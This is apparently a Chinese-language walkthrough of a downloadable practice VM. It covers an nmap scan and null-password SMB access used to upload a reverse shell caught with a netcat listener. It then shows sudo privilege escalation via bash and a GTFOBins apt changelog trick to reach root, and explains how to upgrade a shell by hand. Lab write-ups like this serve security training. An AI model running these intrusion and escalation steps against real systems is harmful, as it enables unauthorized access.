# 靶场搭建
下载:https://mega.nz/file/EfJhXZJI#fcUtdUtiyDnwXc56qio8N3R2c-XHOAK4ZeypKm94oeI
导入 VM,NAT 模式打开
IP: 192.168.1.128
# 渗透过程
# 信息初收集
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0) | |
| ssh-hostkey: | |
| 256 a9:a8:52:f3:cd:ec:0d:5b:5f:f3:af:5b:3c:db:76:b6 (ECDSA) | |
|_ 256 73:f5:8e:44:0c:b9:0a:e0:e7:31:0c:04:ac:7e:ff:fd (ED25519) | |
80/tcp open http Apache httpd 2.4.57 ((Debian)) | |
|_http-server-header: Apache/2.4.57 (Debian) | |
|_http-title: Apache2 Debian Default Page: It works | |
139/tcp open netbios-ssn Samba smbd 4.6.2 | |
445/tcp open netbios-ssn Samba smbd 4.6.2 | |
MAC Address: 00:0C:29:03:6E:36 (VMware) | |
Device type: general purpose | |
Running: Linux 4.X|5.X | |
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 | |
OS details: Linux 4.15 - 5.8 |
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
server Disk Developer Directory
IPC$ IPC IPC Service (Samba 4.17.12-Debian)
S-1-22-1-1000 Unix User\s3cur4 (Local User)
用 smb 连一下 server,发现空口令可以进入,看了一下没东西,尝试 PUT 一个 shell 上去。OK 了家人,直接反弹出来 shell。
# 提权
拿到 shell 之后想办法提权, sudo -l
发现有 bash 的权限: sudo -u s3cur4 /usr/bin/bash
拿到 s3cur4 的 shell。再次 sudo -l
发现有 apt,查阅 gtfobins 得到 apt 提权方法。
尝试的时候发现有问题,是 tty 不全的情况,所以需要升级 shell。没有 python 环境,所以要徒手升级
script /dev/null -c bash | |
Script started, output log file is '/dev/null'. | |
s3cur4@exec:/$ ^Z | |
zsh: suspended nc -lnvp 443 | |
┌──(root㉿kali)-[~/Desktop] | |
└─# stty raw -echo;fg | |
[1] - continued nc -lnvp 443 | |
reset xterm | |
s3cur4@exec:/$ export TERM=xterm-256color | |
s3cur4@exec:/$ source /etc/skel/.bashrc |
OK 了家人们,完全 shell 已经 OK 了
直接 sudo apt changelog apt
跟 vi 一样,最下面输入 !/bin/bash
OJBK 了家人,root 了
# 小结
徒手提升交互式 shell 的步骤:
script /dev/null -c bash
- 这个命令的目的是在一个新的子 shell 中运行 bash,并将所有的输入和输出记录到 /dev/null 文件中。/dev/null 是一个特殊的设备文件,它会将所有的输入都丢弃,因此这里使用它作为输出日志的存储位置。通过这种方式,可以隐藏输出日志,而不会占用磁盘空间。
Ctrl
+Z
挂起stty raw -echo;fg
- 这个命令是用来恢复被挂起的前台任务。stty raw -echo 用于设置终端的输入模式为原始模式(raw mode),并关闭回显(echo)。这样做是为了在后续的操作中,让终端能够正确地处理特殊字符和输入。然后,fg 命令将挂起的前台任务带回到前台运行。
reset xterm
: 将终端恢复到默认的设置状态。这包括终端的行编辑模式、文本属性、光标位置等。执行 reset 命令可以清除终端上显示的任何乱码、特殊字符或其他异常状态,使终端恢复正常。export TERM=xterm-256color
- 这个命令用于设置环境变量 TERM 的值为 xterm-256color。TERM 环境变量通常用于指定终端类型,以便应用程序可以根据不同的终端类型来进行适配。在这个例子中,将终端类型设置为 xterm-256color 是为了确保正确的终端显示和颜色支持。
source /etc/skel/.bashrc
- 这个命令用于加载 /etc/skel/.bashrc 文件中的 bash 配置。/etc/skel/.bashrc 通常是一个系统级别的 bash 配置文件,它包含了一些默认的配置和别名。通过加载这个文件,可以确保每次启动 bash 时都会应用这些配置。
我觉得核心就是调整成 raw 模式,不然输入输出都有问题啊
在执行 stty raw -echo 之前,终端通常处于 "cooked" 模式,也称为 "canonical" 模式。
在 "cooked" 模式下,终端会对输入进行一些处理。例如,当你按下回车键时,终端会将输入的字符发送给应用程序进行处理。这种模式下,终端会提供一些特性,如行编辑、输入缓冲和回显等。
而将终端设置为 "raw" 模式的目的是禁用这些特性,使输入和输出的处理更为简单和直接。在 "raw" 模式下,终端会将所有的输入字符直接传递给应用程序,而不进行任何处理。同时,也不会在屏幕上回显输入的字符。
将终端设置为 "raw" 模式通常用于特殊的应用程序场景,例如网络连接、串口通信或需要精确控制输入输出的程序。通过禁用终端的特性,可以确保输入和输出的准确性和实时性。这样做可以解决一些问题,比如:
- 去除输入缓冲延迟:在 "cooked" 模式下,终端会缓冲一定数量的输入字符,直到用户按下回车键才将其发送给应用程序。在某些情况下,这种缓冲会引起输入的延迟,而 "raw" 模式可以消除这种延迟。
- 精确控制输入:在 "cooked" 模式下,终端会处理一些特殊字符,如删除、退格、CTRL+C 等。这些特殊字符的处理可能会干扰某些特殊应用程序的输入,而 "raw" 模式可以确保输入字符的准确传递。
- 避免回显:在 "cooked" 模式下,终端会将输入的字符回显到屏幕上。对于某些敏感信息(如密码),这可能会导致安全问题。"raw" 模式可以禁止回显,确保输入内容不会在屏幕上显示。